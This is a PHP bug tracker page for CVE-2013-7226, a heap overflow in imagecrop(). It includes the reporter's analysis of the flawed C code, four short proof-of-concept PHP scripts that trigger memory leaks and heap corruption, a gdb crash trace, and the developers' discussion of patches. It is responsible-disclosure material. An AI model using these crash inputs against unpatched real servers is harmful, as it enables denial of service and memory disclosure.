php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #66356 Heap Overflow Vulnerability in imagecrop()
Submitted: 2013-12-27 02:57 UTC Modified: 2014-02-15 17:28 UTC
From: kuba dot brecka at gmail dot com Assigned: pajoye (profile)
Status: Closed Package: GD related
PHP Version: 5.5.7 OS: all
Private report: No CVE-ID: 2013-7226
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: kuba dot brecka at gmail dot com
New email:
PHP Version: OS:

 

 [2013-12-27 02:57 UTC] kuba dot brecka at gmail dot com
Description:
------------
The imagecrop() function can be used to crop an image with the following call:

	$dimensions = array("x" => 10, "y" => 10, "width" => 50, "height" => 50);
	$new_image = image($image, $dimensions);

The implementation of imagecrop() in ext/gd/gd.c performs very little checking of the supplied dimensions:

	gdRect rect;
	...
	if (zend_hash_find(HASH_OF(z_rect), "x", sizeof("x"), (void **)&tmp) != FAILURE) {
		rect.x = Z_LVAL_PP(tmp);
	} else {
	...

One issue here is that there is no check of tmp's type nor a conversion. This means that if the dimensions array contains the key "x", its zval's value will be treated as an integer even if it's really a string or an array. This can be used as an information leak vulnerability, because strings and array contain pointers which can be used for subsequent exploits. See POC #1.

The "rect" variable is then used in a call to "gdImageCrop":

	im_crop = gdImageCrop(im, &rect);

This function then uses the user-supplied dimensions for various calculations:

	if (src->trueColor) {
		dst = gdImageCreateTrueColor(crop->width, crop->height);
		gdImageSaveAlpha(dst, 1);
	} else {
		dst = gdImageCreate(crop->width, crop->height);
		gdImagePaletteCopy(dst, src);
	}
	dst->transparent = src->transparent;

The gdImageCreateTrueColor() and gdImageCreate() functions are smart enough to block any attempt to overflow the width and height parameters, returning a NULL pointer when this happens. However, this code has an issue of not checking the return value of these functions, using the "dst" variable for memory writes unconditionally. This means it can cause a NULL pointer (or a close-to-NULL pointer) write, which is probably just crash the process, but since the gd image structure is very large, it could happen to even touch allocated memory. See POC #2.

The function then performs some bounds checks:

	if (src->sx < (crop->x + crop->width -1)) {
		crop->width = src->sx - crop->x + 1;
	}
	if (src->sy < (crop->y + crop->height -1)) {
		crop->height = src->sy - crop->y + 1;
	}

These are using signed integer arithmetics and can be overflown and tricked into incorrect calculations. Later, for true-color, the pixels are copied with this code:

	int y = crop->y;
	...
	unsigned int dst_y = 0;
	while (y < (crop->y + (crop->height - 1))) {
		/* TODO: replace 4 w/byte per channel||pitch once available */
		memcpy(dst->tpixels[dst_y++], src->tpixels[y++] + crop->x, crop->width * 4);
	}

Remember that crop->x and crop->y are completely user-supplied values and we can supply negative values. This way we can force the copying code to read outside of the source image pixel data, causing a crash or an information leak. See POC #3.

We must however keep the crop->width and crop->height positive, and reasonable, because they are used at the beginning of the function to create a destination bitmap. We can however trick the already mentioned bounds checking code: 

	if (src->sx < (crop->x + crop->width -1)) {
		crop->width = src->sx - crop->x + 1;
	}

When supplying a very large crop->x value, we can make the condition pass, assigning a value to crop->width which is larger than the real destination's pixel buffer width. The memcpy will then copy more data than the heap-based buffers can hold, causing a heap-based buffer overflow. See POC #4.

All the supplied POCs will cause a crash on 32-bit systems. First the POCs will segfault due to invalid memory read, the last one will crash due to a heap overflow (gdb output attached, but the backtrace is useless because the crash occurs much later, at PHP's shutdown and cleanup). Tested on a 32-bit Ubuntu Server machine. All versions of PHP containing the imagecrop() function are vulnerable, i.e. PHP 5.5.0 and newer. Proposed patch to fix the mentioned vulnerabilities is attached and it also adds a test for the POCs into the PHP test suite.


Test script:
---------------
POC 1:
------

<?
	// POC #1
	$img = imagecreatetruecolor(10, 10);
	$img = imagecrop($img, array("x" => "a", "y" => 0, "width" => 10, "height" => 10));

POC 2:
------

<?
	// POC #2
	$img = imagecreatetruecolor(10, 10);
	$img = imagecrop($img, array("x" => 0, "y" => 0, "width" => -1, "height" => 10));

POC 3:
------

<?
	// POC #3
	$img = imagecreatetruecolor(10, 10);
	$img = imagecrop($img, array("x" => -20, "y" => -20, "width" => 10, "height" => 10));

POC 4:
------

<?
	// POC #4
	$img = imagecreatetruecolor(10, 10);
	$img = imagecrop($img, array("x" => 0x7fffff00, "y" => 0, "width" => 10, "height" => 10));


Actual result:
--------------
GDB session from POC #4:


kuba@sonny:~/php/php-src$ gdb ./sapi/cli/php
(gdb) r ../crop.php
Starting program: /home/kuba/php/php-src/sapi/cli/php ../crop.php
[Fri Dec 27 01:47:50 2013]  Script:  '/home/kuba/php/crop.php'
---------------------------------------
/home/kuba/php/php-src/ext/gd/libgd/gd.c(242) : Block 0xb7c09d6c status:
Invalid pointer: ((size=0x00000055) != (next.prev=0x00000094))
---------------------------------------
[Fri Dec 27 01:47:50 2013]  Script:  '/home/kuba/php/crop.php'
---------------------------------------
/home/kuba/php/php-src/ext/gd/libgd/gd.c(242) : Block 0xb7c09dc0 status:
Invalid pointer: ((size=0x00000000) != (next.prev=0x00000094))
Invalid pointer: ((prev=0x00000094) != (prev.size=0x00000000))
---------------------------------------
[Fri Dec 27 01:47:50 2013]  Script:  '/home/kuba/php/crop.php'
---------------------------------------
/home/kuba/php/php-src/ext/gd/libgd/gd.c(242) : Block 0xb7c09e4c status:
Invalid pointer: ((size=0x00000002) != (next.prev=0x00000000))
Invalid pointer: ((prev=0x00000000) != (prev.size=0x00000002))
---------------------------------------

Program received signal SIGSEGV, Segmentation fault.
0x083d2cce in zend_mm_check_ptr (heap=0x8919398, ptr=0xb7c09ed8, silent=1, __zend_filename=0x87c02fc "/home/kuba/php/php-src/ext/gd/libgd/gd.c", __zend_lineno=242,
    __zend_orig_filename=0x0, __zend_orig_lineno=0) at /home/kuba/php/php-src/Zend/zend_alloc.c:1384
1384            if (p->info._size != ZEND_MM_NEXT_BLOCK(p)->info._prev) {
(gdb) bt
#0  0x083d2cce in zend_mm_check_ptr (heap=0x8919398, ptr=0xb7c09ed8, silent=1, __zend_filename=0x87c02fc "/home/kuba/php/php-src/ext/gd/libgd/gd.c", __zend_lineno=242,
    __zend_orig_filename=0x0, __zend_orig_lineno=0) at /home/kuba/php/php-src/Zend/zend_alloc.c:1384
#1  0x083d436c in _zend_mm_free_int (heap=0x8919398, p=0xb7c09ed8, __zend_filename=0x87c02fc "/home/kuba/php/php-src/ext/gd/libgd/gd.c", __zend_lineno=242,
    __zend_orig_filename=0x0, __zend_orig_lineno=0) at /home/kuba/php/php-src/Zend/zend_alloc.c:2068
#2  0x083d538d in _efree (ptr=0xb7c09ed8, __zend_filename=0x87c02fc "/home/kuba/php/php-src/ext/gd/libgd/gd.c", __zend_lineno=242, __zend_orig_filename=0x0, __zend_orig_lineno=0)
    at /home/kuba/php/php-src/Zend/zend_alloc.c:2440
#3  0x081e0f31 in php_gd_gdImageDestroy (im=0xb7c08000) at /home/kuba/php/php-src/ext/gd/libgd/gd.c:242
#4  0x081d5bba in php_free_gd_image (rsrc=0xb7838038) at /home/kuba/php/php-src/ext/gd/gd.c:1077
#5  0x084140ab in list_entry_destructor (ptr=0xb7838038) at /home/kuba/php/php-src/Zend/zend_list.c:183
#6  0x08411419 in zend_hash_del_key_or_index (ht=0x8915c98 <executor_globals+344>, arKey=0x0, nKeyLength=0, h=5, flag=1) at /home/kuba/php/php-src/Zend/zend_hash.c:508
#7  0x08413d99 in _zend_list_delete (id=5) at /home/kuba/php/php-src/Zend/zend_list.c:57
#8  0x083ff6fb in _zval_dtor_func (zvalue=0xb7c07fc0, __zend_filename=0x887972c "/home/kuba/php/php-src/Zend/zend_execute.h", __zend_lineno=79)
    at /home/kuba/php/php-src/Zend/zend_variables.c:62
#9  0x083ef20a in _zval_dtor (zvalue=0xb7c07fc0, __zend_filename=0x887972c "/home/kuba/php/php-src/Zend/zend_execute.h", __zend_lineno=79)
    at /home/kuba/php/php-src/Zend/zend_variables.h:35
#10 0x083ef2b7 in i_zval_ptr_dtor (zval_ptr=0xb7c07fc0, __zend_filename=0x887ab6c "/home/kuba/php/php-src/Zend/zend_variables.c", __zend_lineno=182)
    at /home/kuba/php/php-src/Zend/zend_execute.h:79
#11 0x083effd2 in _zval_ptr_dtor (zval_ptr=0xb7c05798, __zend_filename=0x887ab6c "/home/kuba/php/php-src/Zend/zend_variables.c", __zend_lineno=182)
    at /home/kuba/php/php-src/Zend/zend_execute_API.c:427
#12 0x083ffa56 in _zval_ptr_dtor_wrapper (zval_ptr=0xb7c05798) at /home/kuba/php/php-src/Zend/zend_variables.c:182
#13 0x084118c0 in zend_hash_apply_deleter (ht=0x8915bfc <executor_globals+188>, p=0xb7c0578c) at /home/kuba/php/php-src/Zend/zend_hash.c:626
#14 0x08411a4e in zend_hash_graceful_reverse_destroy (ht=0x8915bfc <executor_globals+188>) at /home/kuba/php/php-src/Zend/zend_hash.c:663
#15 0x083efa97 in shutdown_executor () at /home/kuba/php/php-src/Zend/zend_execute_API.c:247
#16 0x08401781 in zend_deactivate () at /home/kuba/php/php-src/Zend/zend.c:953
#17 0x08384405 in php_request_shutdown (dummy=0x0) at /home/kuba/php/php-src/main/main.c:1807
#18 0x0849ddac in do_cli (argc=2, argv=0x89191e0) at /home/kuba/php/php-src/sapi/cli/php_cli.c:1177
#19 0x0849e3fb in main (argc=2, argv=0x89191e0) at /home/kuba/php/php-src/sapi/cli/php_cli.c:1378


Patches

libgd-v2.patch (last revision 2013-12-28 08:13 UTC by remi@php.net)
libgd-v1.patch (last revision 2013-12-28 08:13 UTC by remi@php.net)
bug66356.patch (last revision 2013-12-28 05:34 UTC by laruence@php.net)

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2013-12-27 05:39 UTC] laruence@php.net
-Assigned To: +Assigned To: pierre
 [2013-12-27 05:51 UTC] pajoye@php.net
Thanks for the detailed report!

As far as I remember it is fixed upstream (see Bitbucket repo). 

I cannot read the patch yet but if not already fixed upstream it should be done on two parts:

. type checks and conversions in php's binding
. bound check in libgd

I can check it on the 6 of January when I am back online (with laptop :)

Thanks again for your report!
 [2013-12-27 06:15 UTC] laruence@php.net
-Status: Assigned +Status: Closed -Assigned To: pierre +Assigned To: laruence
 [2013-12-27 06:15 UTC] laruence@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.

fixed in https://github.com/php/php-src/commit/2938329ce19cb8c4197dec146c3ec887c6f61d01
 [2013-12-27 06:17 UTC] laruence@php.net
-Assigned To: laruence +Assigned To: pajoye
 [2013-12-27 06:17 UTC] laruence@php.net
pierre, sorry I didn't read your comment...  I get a fix and committed. there are also one issue, that is , the arguments could be modified.. I fixed it in the mean time..


could you please review the commit?

thanks
 [2013-12-27 11:17 UTC] kuba dot brecka at gmail dot com
The fix at https://github.com/php/php-src/commit/2938329ce19cb8c4197dec146c3ec887c6f61d01 only fixes the first POC I submitted. All the others, including the POC for heap overflow, still produce a crash.
 [2013-12-27 19:58 UTC] stas@php.net
-Status: Closed +Status: Re-Opened
 [2013-12-28 04:46 UTC] laruence@php.net
where is the patch you mentioned? thanks :)
 [2013-12-28 05:34 UTC] laruence@php.net
The following patch has been added/updated:

Patch Name: bug66356.patch
Revision:   1388208897
URL:        https://bugs.php.net/patch-display.php?bug=66356&patch=bug66356.patch&revision=1388208897
 [2013-12-28 05:35 UTC] laruence@php.net
I attached a patch for fixing rest POCs.

but I am not sure(not familiar with gd lib), whether we should also check if 

dst->x + dst->width > src->sx?

thanks
 [2013-12-28 07:27 UTC] remi@php.net
Notice: libgd 2.1 is not affected by this issue.

gdImageCrop now use gdImageCopy which is protected by the use of gdImageBoundsSafeMacro.

Tested with php 5.5.7 + system libgd 2.1.0, all POC pass without any segfault.
 [2013-12-28 08:13 UTC] remi@php.net
The following patch has been added/updated:

Patch Name: libgd-v1.patch
Revision:   1388218399
URL:        https://bugs.php.net/patch-display.php?bug=66356&patch=libgd-v1.patch&revision=1388218399
 [2013-12-28 08:13 UTC] remi@php.net
The following patch has been added/updated:

Patch Name: libgd-v2.patch
Revision:   1388218414
URL:        https://bugs.php.net/patch-display.php?bug=66356&patch=libgd-v2.patch&revision=1388218414
 [2013-12-28 08:20 UTC] remi@php.net
2 patches proposal (tested on php 5.5)

v1: position out of src image will return NULL.

v2: position out of the src image, will return a blank image, which is consistent with current size check: As the size check is done "after" image allocation, so, result image could be partially blank, but always of requested size.

We could also think of moving size check "before" allocation, but this will be a  BC break.

New size check seems better (even if the test is not really readable) and should be integer overflow free.

For PHP 5.6, I will prefer to see bundled libgd updated to upstream version 2.1.x
 [2013-12-28 09:45 UTC] pajoye@php.net
@remi Please sync with gd 2.1.x tree isntead, there are all bug fixes in it and no new features.
 [2013-12-28 13:31 UTC] remi@php.net
-Status: Re-Opened +Status: Closed
 [2013-12-28 13:31 UTC] remi@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.

See http://git.php.net/?p=php-src.git;a=commitdiff;h=8f4a5373bb71590352fd934028d6dde5bc18530b
 [2013-12-28 13:33 UTC] remi@php.net
@laruence, I think it could make sense to apply your check in the PHP side...
 [2013-12-28 21:07 UTC] kuba dot brecka at gmail dot com
Please use CVE-2013-7226 for this issue.
 [2014-02-12 16:40 UTC] remi@php.net
-Type: Security +Type: Bug
 [2014-02-12 16:40 UTC] remi@php.net
Drop the security type as 5.5.9 is now released.
 [2014-02-12 16:52 UTC] remi@php.net
-Type: Bug +Type: Security
 [2014-02-15 17:28 UTC] tyrael@php.net
-CVE-ID: +CVE-ID: 2013-7226
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Tue Dec 03 17:01:29 2024 UTC